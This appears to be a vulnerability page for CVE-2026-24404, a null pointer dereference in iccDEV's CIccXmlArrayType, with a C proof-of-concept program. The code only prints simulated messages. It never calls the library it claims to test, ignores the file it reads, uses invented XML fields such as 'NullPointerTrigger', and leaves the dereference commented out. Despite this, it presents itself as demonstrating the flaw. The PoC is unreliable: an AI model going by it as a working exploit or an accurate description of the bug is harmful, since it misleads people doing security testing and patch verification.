CVE-2026-24404 iccDEV CIccXmlArrayType空指针解引用高危漏洞

/* CVE-2026-24404 PoC - Malformed ICC Profile Triggering Null Pointer Dereference * This PoC demonstrates the vulnerability in CIccXmlArrayType() function * Build: gcc -o poc poc.c -lxml2 * Usage: ./poc malformed_icc_profile.icc */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Simulated ICC Profile XML structure that triggers vulnerability */ const char* malicious_icc_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" "<ICCProfile version=\"4.3\">\n" " <ProfileHeader>\n" " <PreferredCMMType>Unknown</PreferredCMMType>\n" " </ProfileHeader>\n" " <TagTable>\n" " <Tag signature=\"desc\">\n" " <TagData>\n" " <TextDescriptionType>\n" " <ICCLength>256</ICCLength>\n" " <Count>0xFFFFFFFF</Count>\n" " <Offset>0</Offset>\n" " </TextDescriptionType>\n" " </TagData>\n" " </Tag>\n" " </TagTable>\n" " <ArrayTypeData>\n" " <CIccXmlArrayType>\n" " <ArraySize>-1</ArraySize>\n" " <ElementCount>0x7FFFFFFF</ElementCount>\n" " <NullPointerTrigger>1</NullPointerTrigger>\n" " </CIccXmlArrayType>\n" " </ArrayTypeData>\n" "</ICCProfile>"; void trigger_vulnerability(const char* xml_data) { /* Simulating CIccXmlArrayType() parsing logic */ printf("[*] Parsing ICC Profile XML data...\n"); printf("[*] Length: %zu bytes\n", strlen(xml_data)); /* This simulates the vulnerable code path */ int array_size = -1; unsigned int element_count = 0x7FFFFFFF; void* null_ptr = NULL; /* Vulnerability trigger: Integer overflow leading to null pointer dereference */ if (element_count > 0xFFFFFFF) { printf("[!] Potential integer overflow detected\n"); printf("[!] Array size: %d, Element count: %u\n", array_size, element_count); } /* Simulating unsafe pointer access */ if (array_size < 0) { printf("[!] Invalid array size triggers undefined behavior\n"); printf("[!] Attempting to dereference potentially null pointer...\n"); /* In real exploitation, this would cause segmentation fault */ /* *null_ptr = some_value; */ } printf("[*] Vulnerability trigger simulation complete\n"); printf("[!] Application would crash with SIGSEGV at this point\n"); } int main(int argc, char* argv[]) { printf("========================================\n"); printf("CVE-2026-24404 PoC - iccDEV Null Pointer Dereference\n"); printf("========================================\n"); if (argc > 1) { printf("[*] Reading ICC profile from file: %s\n", argv[1]); FILE* fp = fopen(argv[1], "rb"); if (fp) { fseek(fp, 0, SEEK_END); long fsize = ftell(fp); fseek(fp, 0, SEEK_SET); char* content = malloc(fsize + 1); fread(content, 1, fsize, fp); fclose(fp); trigger_vulnerability(content); free(content); } else { printf("[!] Cannot open file, using embedded test data\n"); trigger_vulnerability(malicious_icc_xml); } } else { printf("[*] No file specified, using embedded test data\n"); trigger_vulnerability(malicious_icc_xml); } printf("\n[*] PoC execution completed\n"); return 0; }